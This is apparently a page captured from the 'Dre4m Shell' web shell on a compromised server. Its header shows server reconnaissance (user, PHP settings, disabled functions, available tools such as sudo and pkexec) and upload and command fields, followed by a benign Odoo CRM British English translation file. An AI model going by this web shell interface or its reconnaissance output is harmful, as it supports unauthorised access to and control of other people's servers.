Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.15.148.76
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/crm/i18n/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/crm/i18n/en_GB.po
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * crm
#
# Translators:
# James Dove <james@oceancave.com>, 2015
msgid ""
msgstr ""
"Project-Id-Version: Odoo 9.0\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-12-14 13:41+0000\n"
"PO-Revision-Date: 2016-02-20 10:37+0000\n"
"Last-Translator: Martin Trigaux\n"
"Language-Team: English (United Kingdom) (http://www.transifex.com/odoo/"
"odoo-9/language/en_GB/)\n"
"Language: en_GB\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid ""
"<span class=\"panel-title\">\n"
"                                            <span class=\"fa fa-laptop\"/>\n"
"                                            <strong> Screen Customization</"
"strong>\n"
"                                        </span>"
msgstr ""
"<span class=\"panel-title\">\n"
"                                            <span class=\"fa fa-laptop\"/>\n"
"                                            <strong> Screen Customisation</"
"strong>\n"
"                                        </span>"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid ""
"<span class=\"panel-title\">\n"
"                                            <span class=\"fa fa-sitemap\"/>\n"
"                                            <strong> Workflow Customization</"
"strong>\n"
"                                        </span>"
msgstr ""
"<span class=\"panel-title\">\n"
"                                            <span class=\"fa fa-sitemap\"/>\n"
"                                            <strong> Workflow Customisation</"
"strong>\n"
"                                        </span>"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid ""
"<span><strong>Contact us to customize your application:</strong><br/>\n"
"                                    We have special options for unlimited "
"number of customizations!\n"
"                                    </span>"
msgstr ""
"<span><strong>Contact us to customise your application:</strong><br/>\n"
"                                    We have special options for unlimited "
"number of customisations!\n"
"                                    </span>"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid ""
"<strong>Every business is different.</strong> Odoo allows to\n"
"                        customize every application and it's usually a good\n"
"                        advice to customize screens to fit your sales "
"process.\n"
"                        <strong>Customizations are done by Odoo experts.</"
"strong>"
msgstr ""
"<strong>Every business is different.</strong> Odoo allows to\n"
"                        customise every application and it's usually a good\n"
"                        advice to customise screens to fit your sales "
"process.\n"
"                        <strong>Customisations are done by Odoo experts.</"
"strong>"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid ""
"<strong>Organize weekly sales meetings</strong><br/>\n"
"                                    It's a great way to see where you can "
"improve and keep track of the progress of your sales team. Start the "
"pipeline review by looking at the big picture; revenues and number of "
"opportunities by stage, by expected closing date and by salespeople."
msgstr ""
"<strong>Organise weekly sales meetings</strong><br/>\n"
"                                    It's a great way to see where you can "
"improve and keep track of the progress of your sales team. Start the "
"pipeline review by looking at the big picture; revenues and number of "
"opportunities by stage, by expected closing date and by salespeople."

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid ""
"<strong>Sales tools</strong><br/>\n"
"                                Efficiently following up the pipeline will "
"lead to great improvements. But to achieve excellence in your sales "
"organization, you need  to provide your team with sales tools. For every "
"stage of the opportunities pipeline, identify the blocking points and "
"create  documents to train the team."
msgstr ""
"<strong>Sales tools</strong><br/>\n"
"                                Efficiently following up the pipeline will "
"lead to great improvements. But to achieve excellence in your sales "
"organisation, you need to provide your team with sales tools. For every "
"stage of the opportunities pipeline, identify the blocking points and "
"create  documents to train the team."

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_activity_report_active
#: model:ir.model.fields,field_description:crm.field_crm_lead_active
#: model:ir.model.fields,field_description:crm.field_crm_lost_reason_active
#: model:ir.model.fields,field_description:crm.field_crm_opportunity_report_active
msgid "Active"
msgstr "Active"

#. module: crm
#: model:ir.actions.act_window,name:crm.crm_activity_action
#: model:ir.actions.act_window,name:crm.crm_activity_report_action_tree
#: model:ir.model.fields,field_description:crm.field_res_partner_activities_count
#: model:ir.model.fields,field_description:crm.field_res_users_activities_count
#: model:ir.ui.menu,name:crm.crm_activity_menu
#: model:ir.ui.menu,name:crm.crm_activity_report_menu
#: model:ir.ui.view,arch_db:crm.crm_activity_view_form
#: model:ir.ui.view,arch_db:crm.crm_activity_view_tree
#: model:ir.ui.view,arch_db:crm.view_partners_form_crm1
msgid "Activities"
msgstr "Activities"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_activity_log_next_activity_id
#: model:ir.model.fields,field_description:crm.field_crm_activity_report_subtype_id
msgid "Activity"
msgstr "Activity"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_leads
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_oppor
msgid "Address"
msgstr "Address"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid ""
"Aligning your sales organization on a systematic\n"
"                        process will allow you to continuously improve your\n"
"                        sales performance."
msgstr ""
"Aligning your sales organisation on a systematic\n"
"                        process will allow you to continuously improve your\n"
"                        sales performance."

#. module: crm
#: model:ir.ui.view,arch_db:crm.base_partner_merge_automatic_wizard_form
#: model:ir.ui.view,arch_db:crm.crm_activity_log_view_form
#: model:ir.ui.view,arch_db:crm.crm_lead_lost_view_form
#: model:ir.ui.view,arch_db:crm.merge_opportunity_form
#: model:ir.ui.view,arch_db:crm.view_crm_lead2opportunity_partner
#: model:ir.ui.view,arch_db:crm.view_crm_lead2opportunity_partner_mass
msgid "Cancel"
msgstr "Cancel"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_lost_reason_view_form
msgid "Channel"
msgstr "Channel"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_lead_city
#: model:ir.model.fields,field_description:crm.field_crm_opportunity_report_city
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_leads
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_oppor
#: model:ir.ui.view,arch_db:crm.crm_opportunity_report_view_search
msgid "City"
msgstr "City"

#. module: crm
#: model:ir.ui.view,arch_db:crm.base_partner_merge_automatic_wizard_form
msgid "Close"
msgstr "Close"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_lead_color
#: model:ir.model.fields,field_description:crm.field_crm_lead_tag_color
msgid "Color Index"
msgstr "Colour Index"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_activity_report_company_id
#: model:ir.model.fields,field_description:crm.field_crm_lead_company_id
#: model:ir.model.fields,field_description:crm.field_crm_opportunity_report_company_id
#: model:ir.ui.view,arch_db:crm.crm_activity_report_view_search
#: model:ir.ui.view,arch_db:crm.crm_opportunity_report_view_search
#: model:ir.ui.view,arch_db:crm.view_crm_case_opportunities_filter
msgid "Company"
msgstr "Company"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_leads
msgid "Company Name"
msgstr "Company Name"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid "Congratulations, you're done!"
msgstr "Congratulations, you're done!"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_automatic_wizard_partner_ids
msgid "Contacts"
msgstr "Contacts"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_activity_report_country_id
#: model:ir.model.fields,field_description:crm.field_crm_lead_country_id
#: model:ir.model.fields,field_description:crm.field_crm_opportunity_report_country_id
#: model:ir.ui.view,arch_db:crm.crm_activity_report_view_search
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_leads
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_oppor
#: model:ir.ui.view,arch_db:crm.crm_opportunity_report_view_search
#: model:ir.ui.view,arch_db:crm.view_crm_case_opportunities_filter
msgid "Country"
msgstr "Country"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid "Create Customers"
msgstr "Create Customers"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid "Create Vendors"
msgstr "Create Suppliers"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid ""
"Create sleek and attractive event pages. Sell online and organize on site."
msgstr ""
"Create sleek and attractive event pages. Sell online and organise on site."

#. module: crm
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_automatic_wizard_create_uid
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_line_create_uid
#: model:ir.model.fields,field_description:crm.field_crm_activity_create_uid
#: model:ir.model.fields,field_description:crm.field_crm_activity_log_create_uid
#: model:ir.model.fields,field_description:crm.field_crm_lead2opportunity_partner_create_uid
#: model:ir.model.fields,field_description:crm.field_crm_lead2opportunity_partner_mass_create_uid
#: model:ir.model.fields,field_description:crm.field_crm_lead_create_uid
#: model:ir.model.fields,field_description:crm.field_crm_lead_lost_create_uid
#: model:ir.model.fields,field_description:crm.field_crm_lead_tag_create_uid
#: model:ir.model.fields,field_description:crm.field_crm_lost_reason_create_uid
#: model:ir.model.fields,field_description:crm.field_crm_merge_opportunity_create_uid
#: model:ir.model.fields,field_description:crm.field_crm_partner_binding_create_uid
#: model:ir.model.fields,field_description:crm.field_crm_stage_create_uid
msgid "Created by"
msgstr "Created by"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_automatic_wizard_create_date
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_line_create_date
#: model:ir.model.fields,field_description:crm.field_crm_activity_create_date
#: model:ir.model.fields,field_description:crm.field_crm_activity_log_create_date
#: model:ir.model.fields,field_description:crm.field_crm_lead2opportunity_partner_create_date
#: model:ir.model.fields,field_description:crm.field_crm_lead2opportunity_partner_mass_create_date
#: model:ir.model.fields,field_description:crm.field_crm_lead_lost_create_date
#: model:ir.model.fields,field_description:crm.field_crm_lead_tag_create_date
#: model:ir.model.fields,field_description:crm.field_crm_lost_reason_create_date
#: model:ir.model.fields,field_description:crm.field_crm_merge_opportunity_create_date
#: model:ir.model.fields,field_description:crm.field_crm_partner_binding_create_date
#: model:ir.model.fields,field_description:crm.field_crm_stage_create_date
msgid "Created on"
msgstr "Created on"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_opportunity_report_create_date
msgid "Creation Date"
msgstr "Creation Date"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_lead_company_currency
msgid "Currency"
msgstr "Currency"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_opportunity_report_view_search
msgid "Current"
msgstr "Current"

#. module: crm
#: code:addons/crm/models/crm_lead.py:1073
#: model:ir.model.fields,field_description:crm.field_crm_lead2opportunity_partner_mass_partner_id
#: model:ir.model.fields,field_description:crm.field_crm_lead2opportunity_partner_partner_id
#: model:ir.model.fields,field_description:crm.field_crm_lead_partner_id
#: model:ir.model.fields,field_description:crm.field_crm_partner_binding_partner_id
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_leads
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_oppor
#: model:ir.ui.view,arch_db:crm.crm_case_tree_view_oppor
#: model:ir.ui.view,arch_db:crm.view_crm_case_leads_filter
#: model:ir.ui.view,arch_db:crm.view_crm_case_opportunities_filter
#, python-format
msgid "Customer"
msgstr "Customer"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
#: model:ir.ui.view,arch_db:crm.view_crm_lead2opportunity_partner
#: model:ir.ui.view,arch_db:crm.view_crm_lead2opportunity_partner_mass
msgid "Customers"
msgstr "Customers"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_activity_report_date
msgid "Date"
msgstr "Date"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_activity_default
msgid "Default"
msgstr "Default"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_case_kanban_view_leads
msgid "Delete"
msgstr "Delete"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_activity_description
msgid "Description"
msgstr "Description"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_automatic_wizard_display_name
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_line_display_name
#: model:ir.model.fields,field_description:crm.field_crm_activity_display_name
#: model:ir.model.fields,field_description:crm.field_crm_activity_log_display_name
#: model:ir.model.fields,field_description:crm.field_crm_activity_report_display_name
#: model:ir.model.fields,field_description:crm.field_crm_lead2opportunity_partner_display_name
#: model:ir.model.fields,field_description:crm.field_crm_lead2opportunity_partner_mass_display_name
#: model:ir.model.fields,field_description:crm.field_crm_lead_display_name
#: model:ir.model.fields,field_description:crm.field_crm_lead_lost_display_name
#: model:ir.model.fields,field_description:crm.field_crm_lead_tag_display_name
#: model:ir.model.fields,field_description:crm.field_crm_lost_reason_display_name
#: model:ir.model.fields,field_description:crm.field_crm_merge_opportunity_display_name
#: model:ir.model.fields,field_description:crm.field_crm_opportunity_report_display_name
#: model:ir.model.fields,field_description:crm.field_crm_partner_binding_display_name
#: model:ir.model.fields,field_description:crm.field_crm_stage_display_name
msgid "Display Name"
msgstr "Display Name"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid "Don't hesitate to"
msgstr "Don't hesitate to"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid "Download the"
msgstr "Download the"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_case_kanban_view_leads
msgid "Edit"
msgstr "Edit"

#. module: crm
#: model:crm.activity,name:crm.crm_activity_data_email
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_automatic_wizard_group_by_email
#: model:ir.model.fields,field_description:crm.field_crm_lead_email_from
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_leads
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_oppor
#: model:mail.message.subtype,name:crm.crm_activity_data_email_mail_message_subtype
msgid "Email"
msgstr "E-mail"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid "Examples"
msgstr "Examples"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid "Excel template"
msgstr "Excel template"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_activity_log_planned_revenue
#: model:ir.model.fields,field_description:crm.field_crm_lead_planned_revenue
msgid "Expected Revenue"
msgstr "Expected Turnover"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_case_tree_view_oppor
msgid "Expected Revenues"
msgstr "Expected Turnover"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_lead_fax
msgid "Fax"
msgstr "Fax"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_activity_report_view_search
#: model:ir.ui.view,arch_db:crm.crm_opportunity_report_view_search
#: model:ir.ui.view,arch_db:crm.view_crm_case_leads_filter
#: model:ir.ui.view,arch_db:crm.view_crm_case_opportunities_filter
msgid "Group By"
msgstr "Group By"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid "Here are some of the <strong>customizations available</strong>:"
msgstr "Here are some of the <strong>customisations available</strong>:"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_activity_hidden
msgid "Hidden"
msgstr "Hidden"

#. module: crm
#: selection:crm.lead,priority:0 selection:crm.opportunity.report,priority:0
msgid "High"
msgstr "High"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_automatic_wizard_id
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_line_id
#: model:ir.model.fields,field_description:crm.field_crm_activity_id
#: model:ir.model.fields,field_description:crm.field_crm_activity_log_id
#: model:ir.model.fields,field_description:crm.field_crm_activity_report_id
#: model:ir.model.fields,field_description:crm.field_crm_lead2opportunity_partner_id
#: model:ir.model.fields,field_description:crm.field_crm_lead2opportunity_partner_mass_id
#: model:ir.model.fields,field_description:crm.field_crm_lead_id
#: model:ir.model.fields,field_description:crm.field_crm_lead_lost_id
#: model:ir.model.fields,field_description:crm.field_crm_lead_tag_id
#: model:ir.model.fields,field_description:crm.field_crm_lost_reason_id
#: model:ir.model.fields,field_description:crm.field_crm_merge_opportunity_id
#: model:ir.model.fields,field_description:crm.field_crm_opportunity_report_id
#: model:ir.model.fields,field_description:crm.field_crm_partner_binding_id
#: model:ir.model.fields,field_description:crm.field_crm_stage_id
msgid "ID"
msgstr "ID"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_line_aggr_ids
msgid "Ids"
msgstr "ID"

#. module: crm
#: model:ir.model.fields,help:crm.field_crm_lead_opt_out
msgid ""
"If opt-out is checked, this contact has refused to receive emails for mass "
"mailing and marketing campaign. Filter 'Available for Mass Mailing' allows "
"users to filter the leads when performing mass mailing."
msgstr ""
"If opt-out is checked, this contact has refused to receive emails for mass "
"mailing and marketing campaign. Filter 'Available for Mass Mailing' allows "
"users to filter the leads when performing mass mailing."

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_leads
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_oppor
msgid "Internal Notes"
msgstr "Internal Notes"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_automatic_wizard___last_update
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_line___last_update
#: model:ir.model.fields,field_description:crm.field_crm_activity___last_update
#: model:ir.model.fields,field_description:crm.field_crm_activity_log___last_update
#: model:ir.model.fields,field_description:crm.field_crm_activity_report___last_update
#: model:ir.model.fields,field_description:crm.field_crm_lead2opportunity_partner___last_update
#: model:ir.model.fields,field_description:crm.field_crm_lead2opportunity_partner_mass___last_update
#: model:ir.model.fields,field_description:crm.field_crm_lead___last_update
#: model:ir.model.fields,field_description:crm.field_crm_lead_lost___last_update
#: model:ir.model.fields,field_description:crm.field_crm_lead_tag___last_update
#: model:ir.model.fields,field_description:crm.field_crm_lost_reason___last_update
#: model:ir.model.fields,field_description:crm.field_crm_merge_opportunity___last_update
#: model:ir.model.fields,field_description:crm.field_crm_opportunity_report___last_update
#: model:ir.model.fields,field_description:crm.field_crm_partner_binding___last_update
#: model:ir.model.fields,field_description:crm.field_crm_stage___last_update
msgid "Last Modified on"
msgstr "Last Modified on"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_automatic_wizard_write_uid
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_line_write_uid
#: model:ir.model.fields,field_description:crm.field_crm_activity_log_write_uid
#: model:ir.model.fields,field_description:crm.field_crm_activity_write_uid
#: model:ir.model.fields,field_description:crm.field_crm_lead2opportunity_partner_mass_write_uid
#: model:ir.model.fields,field_description:crm.field_crm_lead2opportunity_partner_write_uid
#: model:ir.model.fields,field_description:crm.field_crm_lead_lost_write_uid
#: model:ir.model.fields,field_description:crm.field_crm_lead_tag_write_uid
#: model:ir.model.fields,field_description:crm.field_crm_lead_write_uid
#: model:ir.model.fields,field_description:crm.field_crm_lost_reason_write_uid
#: model:ir.model.fields,field_description:crm.field_crm_merge_opportunity_write_uid
#: model:ir.model.fields,field_description:crm.field_crm_partner_binding_write_uid
#: model:ir.model.fields,field_description:crm.field_crm_stage_write_uid
msgid "Last Updated by"
msgstr "Last Updated by"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_automatic_wizard_write_date
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_line_write_date
#: model:ir.model.fields,field_description:crm.field_crm_activity_log_write_date
#: model:ir.model.fields,field_description:crm.field_crm_activity_write_date
#: model:ir.model.fields,field_description:crm.field_crm_lead2opportunity_partner_mass_write_date
#: model:ir.model.fields,field_description:crm.field_crm_lead2opportunity_partner_write_date
#: model:ir.model.fields,field_description:crm.field_crm_lead_lost_write_date
#: model:ir.model.fields,field_description:crm.field_crm_lead_tag_write_date
#: model:ir.model.fields,field_description:crm.field_crm_lost_reason_write_date
#: model:ir.model.fields,field_description:crm.field_crm_merge_opportunity_write_date
#: model:ir.model.fields,field_description:crm.field_crm_partner_binding_write_date
#: model:ir.model.fields,field_description:crm.field_crm_stage_write_date
msgid "Last Updated on"
msgstr "Last Updated on"

#. module: crm
#: code:addons/crm/models/crm_lead.py:841
#: selection:crm.activity.report,lead_type:0 selection:crm.lead,type:0
#: selection:crm.opportunity.report,type:0
#: model:ir.model.fields,field_description:crm.field_crm_activity_log_lead_id
#: model:ir.model.fields,field_description:crm.field_crm_activity_report_lead_id
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_leads
#: model:ir.ui.view,arch_db:crm.crm_case_tree_view_leads
#: model:ir.ui.view,arch_db:crm.crm_opportunity_report_view_search
#, python-format
msgid "Lead"
msgstr "Lead"

#. module: crm
#: model:ir.model,name:crm.model_crm_lead
msgid "Lead/Opportunity"
msgstr "Lead/Opportunity"

#. module: crm
#: model:ir.actions.act_window,name:crm.crm_case_form_view_salesteams_lead
#: model:ir.actions.act_window,name:crm.crm_lead_all_leads
#: model:ir.model.fields,field_description:crm.field_crm_team_use_leads
#: model:ir.model.fields,field_description:crm.field_sale_config_settings_group_use_lead
#: model:ir.ui.menu,name:crm.crm_opportunity_report_menu_lead
#: model:ir.ui.menu,name:crm.menu_crm_leads
#: model:ir.ui.view,arch_db:crm.crm_activity_report_view_search
#: model:ir.ui.view,arch_db:crm.crm_case_tree_view_leads
#: model:ir.ui.view,arch_db:crm.crm_team_salesteams_view_kanban
#: model:ir.ui.view,arch_db:crm.sales_team_form_view_in_crm
msgid "Leads"
msgstr "Lead"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_automatic_wizard_line_ids
msgid "Lines"
msgstr "Lines"

#. module: crm
#: selection:crm.lead,priority:0 selection:crm.opportunity.report,priority:0
msgid "Low"
msgstr "Low"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_oppor
msgid "Marketing"
msgstr "Marketing"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_oppor
msgid "Misc"
msgstr "Misc"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_lead_mobile
msgid "Mobile"
msgstr "Mobile"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_activity_res_model
msgid "Model"
msgstr "Model"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_activity_report_view_search
msgid "Month"
msgstr "Month"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_automatic_wizard_group_by_name
#: model:ir.model.fields,field_description:crm.field_crm_lead_tag_name
#: model:ir.model.fields,field_description:crm.field_crm_lost_reason_name
msgid "Name"
msgstr "Name"

#. module: crm
#. openerp-web
#: code:addons/crm/static/src/js/web_planner_crm.js:23
#: code:addons/crm/static/src/js/web_planner_crm.js:28
#: code:addons/crm/static/src/js/web_planner_crm.js:34
#: model:crm.stage,name:crm.stage_lead1
#, python-format
msgid "New"
msgstr "New"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_lead_date_action_next
msgid "Next Action"
msgstr "Next Action"

#. module: crm
#: selection:crm.lead,priority:0 selection:crm.opportunity.report,priority:0
msgid "Normal"
msgstr "Normal"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_lead_description
msgid "Notes"
msgstr "Notes"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid ""
"Once you’ve deployed your CRM, it’s time to grow your revenues. Start by "
"setting up a continuous improvement approach.We recommend you to organize "
"weekly sales meeting with the team during which you will do a pipeline "
"review."
msgstr ""
"Once you’ve deployed your CRM, it’s time to grow your revenues. Start by "
"setting up a continuous improvement approach.We recommend you to organise "
"weekly sales meeting with the team during which you will do a pipeline "
"review."

#. module: crm
#: model:ir.actions.act_window,name:crm.crm_case_form_view_salesteams_opportunity
#: model:ir.actions.act_window,name:crm.crm_lead_opportunities
#: model:ir.actions.act_window,name:crm.relate_partner_opportunities
#: model:ir.model.fields,field_description:crm.field_crm_lead2opportunity_partner_mass_opportunity_ids
#: model:ir.model.fields,field_description:crm.field_crm_lead2opportunity_partner_opportunity_ids
#: model:ir.model.fields,field_description:crm.field_crm_team_use_opportunities
#: model:ir.model.fields,field_description:crm.field_res_partner_opportunity_ids
#: model:ir.model.fields,field_description:crm.field_res_users_opportunity_ids
#: model:ir.ui.menu,name:crm.menu_crm_config_opportunity
#: model:ir.ui.view,arch_db:crm.crm_activity_report_view_search
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_oppor
#: model:ir.ui.view,arch_db:crm.crm_case_graph_view_leads
#: model:ir.ui.view,arch_db:crm.crm_case_pivot_view_leads
#: model:ir.ui.view,arch_db:crm.crm_case_tree_view_oppor
#: model:ir.ui.view,arch_db:crm.crm_team_salesteams_view_kanban
#: model:ir.ui.view,arch_db:crm.view_crm_lead2opportunity_partner
#: model:ir.ui.view,arch_db:crm.view_partners_form_crm1
msgid "Opportunities"
msgstr "Opportunities"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_lead_opt_out
msgid "Opt-Out"
msgstr "Opt-Out"

#. module: crm
#: model:ir.ui.view,arch_db:crm.base_partner_merge_automatic_wizard_form
msgid "Options"
msgstr "Options"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_team_alias_user_id
msgid "Owner"
msgstr "Owner"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_activity_parent_id
msgid "Parent"
msgstr "Parent"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_automatic_wizard_group_by_parent_id
msgid "Parent Company"
msgstr "Parent Company"

#. module: crm
#: model:ir.model,name:crm.model_res_partner
#: model:ir.model.fields,field_description:crm.field_crm_opportunity_report_partner_id
#: model:ir.ui.view,arch_db:crm.view_crm_case_leads_filter
msgid "Partner"
msgstr "Partner"

#. module: crm
#: model:ir.ui.view,arch_db:crm.base_partner_merge_automatic_wizard_form
msgid "Partners"
msgstr "Partners"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_lead_phone
msgid "Phone"
msgstr "Phone"

#. module: crm
#: model:ir.model,name:crm.model_web_planner
msgid "Planner"
msgstr "Planner"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_opportunity_report_priority
msgid "Priority"
msgstr "Priority"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_stage_requirements
#: model:ir.ui.view,arch_db:crm.crm_stage_form
msgid "Requirements"
msgstr "Requirements"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_activity_report_user_id
#: model:ir.model.fields,field_description:crm.field_crm_lead2opportunity_partner_mass_user_id
#: model:ir.model.fields,field_description:crm.field_crm_lead2opportunity_partner_user_id
#: model:ir.model.fields,field_description:crm.field_crm_lead_user_id
#: model:ir.model.fields,field_description:crm.field_crm_merge_opportunity_user_id
#: model:ir.ui.view,arch_db:crm.crm_opportunity_report_view_search
#: model:ir.ui.view,arch_db:crm.view_crm_case_leads_filter
#: model:ir.ui.view,arch_db:crm.view_crm_case_opportunities_filter
msgid "Salesperson"
msgstr "Salesperson"

#. module: crm
#: selection:base.partner.merge.automatic.wizard,state:0
msgid "Selection"
msgstr "Selection"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_activity_sequence
#: model:ir.model.fields,field_description:crm.field_crm_stage_sequence
msgid "Sequence"
msgstr "Sequence"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_opportunity_report_source_id
#: model:ir.ui.view,arch_db:crm.view_crm_case_leads_filter
#: model:ir.ui.view,arch_db:crm.view_crm_case_opportunities_filter
msgid "Source"
msgstr "Source"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_base_partner_merge_automatic_wizard_state
#: model:ir.model.fields,field_description:crm.field_crm_lead_state_id
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_leads
#: model:ir.ui.view,arch_db:crm.crm_case_form_view_oppor
msgid "State"
msgstr "State"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_lead_street
msgid "Street"
msgstr "Street"

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_lead_street2
msgid "Street2"
msgstr "Street2"

#. module: crm
#: model:ir.ui.view,arch_db:crm.crm_planner
msgid ""
"Systematic organization is what makes the difference\n"
"                        between good and great salespeople! Setup a "
"pipeline\n"
"                        that is in line with your sales cycle."
msgstr ""
"Systematic organisation is what makes the difference\n"
"                        between good and great salespeople! Setup a "
"pipeline\n"
"                        that is in line with your sales cycle."

#. module: crm
#: model:ir.model.fields,field_description:crm.field_crm_lead_tag_ids
msgid "Tags"
msgstr "Labels"

